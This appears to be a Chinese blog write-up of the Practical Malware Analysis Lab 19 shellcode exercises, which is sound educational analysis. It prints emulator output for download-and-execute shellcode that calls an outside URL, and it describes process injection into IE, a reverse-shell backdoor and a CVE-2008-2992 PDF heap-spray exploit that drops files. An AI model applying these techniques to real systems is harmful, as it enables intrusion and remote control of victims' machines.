恶意代码分析实战 shellcode分析 lab 19-1 19-2 19-3 整体来说 对汇编代码的分析要求较高 因为没法直接反编译为C代码看
Lab 19-1
==》先申明下,因为缺失利用该shellcode的上下文,也就是漏洞利用的环境,所以分析起来非常蛋疼!
本次实验我们将会分析lab19-01文件。先来看看要求解答的问题
Q1.这段shellcode是如何编码的?
Q2.这段shellcode手动导入了哪个函数?
Q3.这段shellcode和哪个网络主机通信?
Q4.这段shellcode在文件系统上留下了什么迹象?
Q5.这段shellcode做了什么?
分析“恶意代码、shellcode”的利器:scdbg
1、什么是scdbg
scdbg是一款多平台开源的Shellcode模拟运行、分析工具。其基于libemulibrary搭建的虚拟环境,通过模拟32位处理器、内存和基本Windows API运行环境来虚拟执行Shellcode以分析其行为。
2、基本原理
众所周知,shellcode为了实现特定的功能必须通过调用系统API来完成-不论先前怎怎么变形怎么加密最后都会调用系统API。scdbg就是通过模拟执行以及hook多达200多个API来探测shellcode的行为。当然比如创建文件和访问网络这些危险的API并没有真正的在本机执行,而是通 过传回虚假的返回值来欺骗shellcode让其平稳运行。
3、亮点
A.跨平台开源
同时支持unix和windows系统。对有系统洁癖的同学来说可以放心在unix下搭建环境“调戏”shellcode了。
B.文档类格式漏洞
scdbg能很容易通过交互方式分析诸如pdf,excel,word等文档类漏洞释放出来的shellcode。这类漏洞的相同点就是首先肯定会通过调用GetFileSize找到宿主文件句柄然后进行下一步操作。
4、资源下载
A.WIN32
可执行程序: http://sandsprite.com/CodeStuff/scdbg.zip
源代码:https://github.com/dzzie/VS_LIBEMU
git clone git://github.com/dzzie/VS_LIBEMU.git
B.*nix/Cygwin Source
源代码 : https://github.com/dzzie/SCDBG
git clone git://github.com/dzzie/SCDBG.git
5、具体使用:
D:\迅雷下载\scdbg>scdbg.exe -f "D:\virus_test\PracticalMalwareAnalysis-Labs-master\PracticalMalwareAnalysis-Labs-master\PracticalMalwareAnalysis-Labs\Practical Malware Analysis Labs\BinaryCollection\Chapter_19L\Lab19-01.bin" -r -d Loaded 53e bytes from file D:\virus_test\PracticalMalwareAnalysis-Labs-master\PracticalMalwareAnalysis-Labs-master\PracticalMalwareAnalysis-Labs\Practical Malware Analysis Labs\BinaryCollection\Chapter_19L\Lab19-01.bin Memory monitor enabled.. Initialization Complete.. Dump mode Active... Max Steps: 2000000 Using base offset: 0x401000 401313 LoadLibraryA(URLMON) 40132d GetSystemDirectoryA( c:\windows\system32\ ) 40134c URLDownloadToFileA(http://www.practicalmalwareanalysis.com/shellcode/annoy_user.exe, c:\WINDOWS\system32\1.exe) 401358 WinExec(c:\WINDOWS\system32\1.exe) 40135b GetCurrentProcess() = 1 401364 TerminateProcess(1) = 1 Stepcount 237493 Primary memory: Reading 0x53e bytes from 0x401000 Scanning for changes... Change found at 548 dumping to D:\virus_test\PracticalMalwareAnalysis-Labs-master\PracticalMalwareAnalysis-Labs-master\PracticalMalwareAnalysis-Labs\Practical Malware Analysis Labs\BinaryCollection\Chapter_19L\Lab19-01.unpack Data dumped successfully to disk Analysis report: Sample decodes itself in memory. (use -d to dump) Uses peb.InInitilizationOrder List Instructions that write to code memory or allocs: 40121a AA stosb 40132f C7075C312E65 mov dword [edi],0x652e315c 401335 C7470478650000 mov dword [edi+0x4],0x6578 Signatures Found: None Memory Monitor Log: *PEB (fs30) accessed at 0x4012a1 peb.InInitializationOrderModuleList accessed at 0x4012ac
dump后的文件在dumping to D:\virus_test\PracticalMalwareAnalysis-Labs-master\PracticalMalwareAnalysis-Labs-master\PracticalMalwareAnalysis-Labs\Practical Malware Analysis Labs\BinaryCollection\Chapter_19L\Lab19-01.unpack
其他分析如下,非常繁琐,因为这个里面要做xor的解密,恶意代码作者为防止签名的嗅探!
将实验程序载入IDA
可以看到是一些ecx自增操作
一直到了200开始才是正常的代码段
shellcode的解码器也是从这里开始的
一开始的xor用于清空ecx,之后将18dh赋给cx
jmp来到loc_21f,而在下图可以看到loc_21调用sub_208,在call指令执行后,就会把下一条指令的地址也就是224压到栈顶
如下所示
可见这里是一个循环
循环体外的202处看到ecx被赋值18dh,循环体中的21B处有dec ecx,这说明ecx是起到计数器的作用
将光标定位到sub_208,按空格键切换模式
可以看到和我们描述的一样,再切换回来
208处pop指令会将栈顶也就是224这个地址赋给esi
之后push则是将其压栈,mov指令将esi赋给edi
lodsb指令在这里是将esi赋给eax,esi中的地址是224,该地址的值是多少呢?
我们光标定位到224,按d键
点击yes得到如下结果
可以看到该地址的值是49h
也就是将49h赋给eax
之后al赋给dl,dl此时的值就是49h,dl减去41h,所得结果左移4位
然后esi自增,变成了225,同样定位到225,按d键,结果如下
通过215处的lodsb将225地址的值4ah赋给eax,al的值就是4ah
al-41h,再将其结果与dl相加,结果保存在al
21a处的stodb将eax的内容赋给edi所指向的地址的位置,而edi这次是被赋了224这个地址,也就是说上面运算的结果被保存在了224地址处
之后,edi会指向下一个地址,Ecx自减,然后继续循环
在21e处的retn则会来到224处,在224开始解码,这里就是开始解码的地方。
我们知道这是解码的操作,但是上面的分析可以还是比较麻烦的,我们尝试将shellcode从bin文件提取出来(提出来的shellcode在shellcodet.txt)
shellcode.txt如下所示
然后将其填入模板template.txt
得到test.txt
使用vc++6.0编译
首先创建一个test.cpp文件
然后将test.txt内容粘贴进去
接着依次编译、链接
点击下图两个按键就可以
在debug目录下得到test.exe
使用od分析test.exe
直接ctrl+g来到4016b4的地方,这里是调用main函数的地址
我们在这里下断点,然后命中,接着f7步入
这样就来到了main函数中
直接往下走到retn处(在4010bb下断点,再命中即可)
然后切换到打开的cmd中,按下回车
再回到ollydbg,f7单步走,来到了shellcode解码的地方
注意:
这里开始就是我们在IDA中看到的解码的部分,我们在ollydbg在按照od所呈现的信息再简单分析一遍
解码部分从12fb80开始,加载被编码的字节对,减去基值0x41,移位并且将两个值相加,然后将结果存回内存中。12fb89处的push指令用12fb9e处的retn指令将控制转到攻击负载
Q1.这段shellcode是如何编码的?
A1.这个shellcode使用了一种字母编码的方式,攻击负载的一个字节存储在两个编码字节的低4比特位
注意到既然12fb9e处有个retn,我们可以直接在这里下断点
就可以完成解密的流程,得到解密后的代码
注意看上图,在还没有按f9命中的时候12fba4开始往下的地方都是没有正确识别出指令的
接下来我们下完断点,按f9执行,如下所示
12fba4开始往下的指令都被成功解码出来了
接下来回到第二个问题:这段shellcode手动导入了哪些函数?
这里我们切换到kali使用sctest来模拟shellcode,命令如下
sctest -Svs 1000000 < Lab19-01.bin > sectest-lab19.txt
结果如下所示
在这里看到shellcode导入了
LoadL ibraryA
GetSystemDirectoryA
WinExec
URLDownloadToFileA
Q2.这段shellcode手动导入了哪些函数?
A2.shellcode导入了:
LoadL ibraryA
GetSystemDirectoryA
WinExec
URLDownloadToFileA
从上图可以看到shellcode会连接到http://www.practicalmalwareanalysis. com/shellcode/annoy_user. exe
Q3.这段shellcode和哪个网络主机通信?
A3. shellcode 下载如下URL:
http://www.practicalmalwareanalysis.com/shellcode/annoy_user.exe。
在上图我们注意到
使用URLDownloadToFile将annoy_user.exe下载后保存为了system32目录下的1.exe文件,之后会通过winexec来运行
Q4.这段shellcode在文件系统上留下了什么迹象?
A4. shellcode 在文件系统上写了文件%SystemRoot%\System32\I.exe,并运行它。
Q5.这段shellcode做了什么?
A5. shellcode 会从指定的URL下载文件,将下载的文件写到硬盘,并运行它。
恶意软件分析实战19-shellcode调试逆向Lab19-2
把样本拖入VT内分析:
可以看到爆红,查看一下细节, 发现了IE浏览器进程被创建了。
查看一下导入函数,发现导入了提权相关API。
还有远线程注入以及进程创建相关的API ==========>当然,通过PEID或者depends工具都是可以看到该exe导入的函数!
现在把程序拖入IDA中,一上来就获取了debug权限,后来就获取了IE的路径
其打开了注册表的HKEY_LOCAL_MACHINE\\http\\shell\\open\\command项, 即IE的路径,这个命令行执行后会打开IE浏览器
接着就以隐藏方式开启了IE浏览器,接着把shellcode注入到IE浏览器内部
创建IE进程的代码:
这里是创建远线程进行注入的代码:
shellcode的首地址以参数形式传递给了函数
获取shellcode的首地址:
接下来我们直接用Ollydbg来调试shellcode, 将EIP指针指向该shellcode的首地址
0xE7是秘钥, 利用这个来解密代码
注意这段代码, 它的首地址是0x407048
解密循环结束后,同样的位置代码已经改变,解密完成,现在开始分析shellcode
这段代码获取了kernel32.dll的基地址
这里解析kernel32.dll的PE结构的导出表,查找对应函数名的hash值:
接下去就是通过函数名的HASH值来搜索该函数地址然后保存起来
下面是获取ws2_32.dll里面的api函数
直接执行了网络行为,我们来观测一下这个connect函数。connect参数内会有服务器的IP地址以及端口号
重点关注这个地址:
现在分析出几个字段, 查看下IP是0x02C8A8C0
写一段小代码获取对应的IP地址, 发现是一个内网地址。现在把虚拟机内网地址设置成这个,然后开启nc监听0x3412端口
修改网卡的静态内网IP:
设置监听:
然后创建了一个cmd进程后就结束了这个进程。这感觉是个反向shell。
果然是个后门:
总结下来这个程序做的事情就是创建隐藏进程后远程注入shellcode执行后门
看下火绒剑里监控的数据,因为进程注入,适合用火绒剑而不是procmon、proexp这些:
看到了进程注入:
详细的进程注入日志如下(其他的注册表啥的不看了):
21:15:27:343, Lab19-02.exe, 2332:0, 2332, PROC_exec, C:\Program Files\liebao\liebao.exe, target_pid:2268 cmdline:'"C:\Program Files\liebao\liebao.exe" "%1"' , 0x00000000 [操作成功完成。 ], 21:15:27:343, Lab19-02.exe, 2332:2864, 2332, THRD_resume, C:\Program Files\liebao\liebao.exe, target_pid:2268 target_tid:1712 , 0x00000000 [操作成功完成。 ], 21:15:27:343, Lab19-02.exe, 2332:2864, 2332, PROC_open, C:\Program Files\liebao\liebao.exe, target_pid:2268 access:0x0000002A , 0x00000000 [操作成功完成。 ], 21:15:27:343, Lab19-02.exe, 2332:2864, 2332, PROC_pgprot, C:\Program Files\liebao\liebao.exe, target_pid:2268 base:0x00150000 count:0x000001A7 attrib:0x00000040 bytes_changed:0x00001000 , 0x00000000 [操作成功完成。 ], 21:15:27:343, Lab19-02.exe, 2332:2864, 2332, PROC_pgprot, C:\Program Files\liebao\liebao.exe, target_pid:2268 base:0x00150000 count:0x00001000 attrib:0x00000040 bytes_changed:0x00001000 , 0x00000000 [操作成功完成。 ], 21:15:27:343, Lab19-02.exe, 2332:2864, 2332, PROC_writevm, C:\Program Files\liebao\liebao.exe, target_pid:2268 base:0x00150000 bytes_written:0x000001A7 datalen:0x000001A7 data:'EB 11 5F 66 68 8F 01 66 59 B0 E7 30 07 47 67 E2 ' , 0x00000000 [操作成功完成。 ], 21:15:27:343, Lab19-02.exe, 2332:2864, 2332, PROC_pgprot, C:\Program Files\liebao\liebao.exe, target_pid:2268 base:0x0025E000 count:0x00001000 attrib:0x00000104 bytes_changed:0x00001000 , 0x00000000 [操作成功完成。 ], 21:15:27:343, Lab19-02.exe, 2332:2864, 2332, THRD_remote, C:\Program Files\liebao\liebao.exe, target_pid:2268 target_tid:1288 access:0x001F03FF suspended:true start_vaddr:0x00150000 thread_param:0xB170ED64 , 0x00000000 [操作成功完成。 ], 21:15:27:343, Lab19-02.exe, 2332:2864, 2332, THRD_resume, C:\Program Files\liebao\liebao.exe, target_pid:2268 target_tid:1288 , 0x00000000 [操作成功完成。 ],
lab 19-3
本次实验我们将会分析lab19-03相关文件。先来看看要求解答的问题
Q1.这个PDF中使用了什么漏洞?
Q2.这段shellcode是如何编码的?
Q3.这段shellcode导入了哪些函数?
Q4.这段shellcode在文件系统上留下了什么迹象?
Q5.这段shellcode做了什么?
分析文件Lab19-03.pdf以及lab19-03_sc.bin
首先我们切换到kali进行分析
先使用pdfid检查下
注意到有js,javascript,结合题目的问题,那么可能这个pdf文件就是利用JavaScript来进行攻击的
我们进一步在win上使用PDFStremDumper检测,将pdf载入,点击exploit_scan得到下入所示文档
可以看到利用的是CVE-2008-2992
Q1.这个PDF中使用了什么漏洞?
A1. PDF 文件中包含一个CVE-2008-2992漏洞
我们选择第9个data stream
可以看到内嵌其中的JavaScript脚本
具体分析如下
使用unescape函数和一个字符串来初始化攻击负载
可以使用脚本进行相应的解码后将其转换为二进制文件
检查应用程序的版本来决定它是否应该尝试漏洞利用
执行了堆喷射的操作,之后调用util.printf触发漏洞利用,可以看到输出一个很大的数字,这是很可疑的。这正是为了触发漏洞,因为这里存在不当的边界检查,从而造成缓冲区溢出攻击。
Q2.这段shellcode是如何编码的?
A2.这个文件中的shellcode使用的是JavaScript的percent-encoding编码形式,也就是百分号编码,并且随着JavaScript一起保存在PDF中。
我们可以先使用sctest生成调用流图
root@kali:~# sctest -Svs 1000000 -G shell.dot < Lab19-03_sc.bin > shell
root@kali:~# dot shell.dot -T png -o diagram.png
得到的图片如下所示
图中只看到了两个关键的函数
分别是GetFileSize和LoadLibrary
接下来使用scdbg进一步查看其导入函数
scdbg –f bin文件 –fopen pdf文件 –i
由上图可知调用了CreateFile创建了foo.exe,bar.pdf
对应的,之后会调用CrateProcess创建进程,调用ShellExecute打开bar.pdf
Q3.这段shellcode导入了哪些函数?
A3.如上图所示,导入了很多,这里不一一列举。
Q4.这段shellcode在文件系统上留下了什么迹象?
A4. shellcode 在文件系统上创建文件%TEMP%foo. exe与%TEMP%\bar.pdf。
我们仔细看上scdbg的回显结果,程序在临时文件夹中写入了foo.exe,bar.pdf;此外通过CreateProcessA创建了foo.exe进程,通过ShellExecute打开bar.pdf
我们可以通过IDA来分析bin文件
打开后直接按c键,将其转为代码
注意到上图中,sub esp,17ch。这是因为esp为栈顶指针,栈由高向低增长,这里相当于是抬高了栈帧
之后call sub_17b,这样call的这一个指令的地址也就是0d会入栈,不过这时候我们在上图注意到此时0d开头的这一部分是一些没意义的数据
双击跟入sub_17b
Pop esi则是把0d的地址赋给了esi
继续往下看
这里需要注意,在000183处调用的sub_CA,实际上就是findkernel32Base,用于查找系统中的kernel32.dll的地址。而0x195位置的是findSymbolByHash函数,用于hash值的计算
在18b处可以看到一共是是对kernel32做了0xe次操作,也就是14次操作
在19d,1a2看到两个push,我们可以将其右键转换如下所示
拼接起来可知,程序在19D以及1A2的位置压入了“shell32”这个字符串,作为LoadLibrary函数的参数
继续往下分析
注意,1c6处的call实际上是在调用GetFIleSize,给定一个句柄,这个函数会返回句柄对应的文件大小。在1b6处的xor指令首先将句柄初始化为0,然后在1bb处每次迭代都加上4.
得到的结果会与shellcode嵌入数据区偏移量为0x3c处的值比较,这个偏移处应该是有一个给定的值的,不过由于我们现在是静态分析,无法获得。
我们猜测这应该是shellcode在启动漏洞攻击之前,先判断当前pdf文件的大小是否和lab19-03.pdf的大小一致。
继续往下分析
这里需要注意,1ef处的call是调用SetFilePointer
在1e9处注意到基于嵌入数据区的偏移量为0x40
这里是通过调用SetFilePointer调整文件指针在恶意pdf中的位置,基于嵌入数据区的偏移量为0x40处的值,从恶意pdf中提取出第一个文件的文件偏移量。之后调用sub_13d来读取文件内容。
继续往下分析
这里注意,21e处的call实际上是调用GetTempPathA
这里shellcode是构造了一个输出文件路径,调用GetTempPathA,然后会追加字符串
追加的内容可以在22f,235处可以看到,这里需要转换成如下所示
可以看到追击的字符串的内容为foo.exe
继续往下分析
252处的sub_EB实际是用于将缓冲区内容写入磁盘,注意到在调用它之前有5个连续push,说明其有5个参数,它会使用246处的0x4a与输入缓冲区中的每个字符串异或,然后将解密的缓冲区写入到245处的eax中的值(也就是说此处eax的内容就是该函数的输出文件名)
结合前一段指令的分析结果,我们知道这里是会写入文件foo.exe
注意286处的call实际是调用CreateProcessA,这个文件名会被传递给CreateProcessA调用,它负责用刚刚写入磁盘的文件创建一个新进程
继续往下分析
这一部分shellcode是在重复相同的过程来提取存储在恶意pdf中的第二个文件
在294处,shellcode根据存储在嵌入数据偏移量0x4c处的文件的大小来分配一个内存空间,然后会根据2a6处的偏移量0x48存储的文件偏移量,来调整文件指针的位置
继续往下分析
这里shellcode使用与第一个文件相同的临时文件路径,但是在2c3,2c9处的表示的文件名换了,我们可以转换后看到如下所示
看到是用bar.pdf替换了文件名
2e3处的sub_EB使用2d7处给出的0x4a来解码文件内容,并将其写入%temp%bar.pdf
继续往下分析
这里先把2f0处的数字转换一下
看到是open
注意310处的call是调用ShellExecute
这里shellcode调用ShellExecute打开它刚刚写入到%temp%bar.pdf中的pdf文件
之后shellcode传入命令字符串open和PDF的路径使得系统可以使用已注册的应用程序打开这个指定的文件
Q5.这段shellcode做了什么?
A5. shellcode 从PDF中提取其中存储的两个编码文件,并且将它们写入%TEMP%目录。同时,它运行foo.exe文件,并打开bar.pdf文档。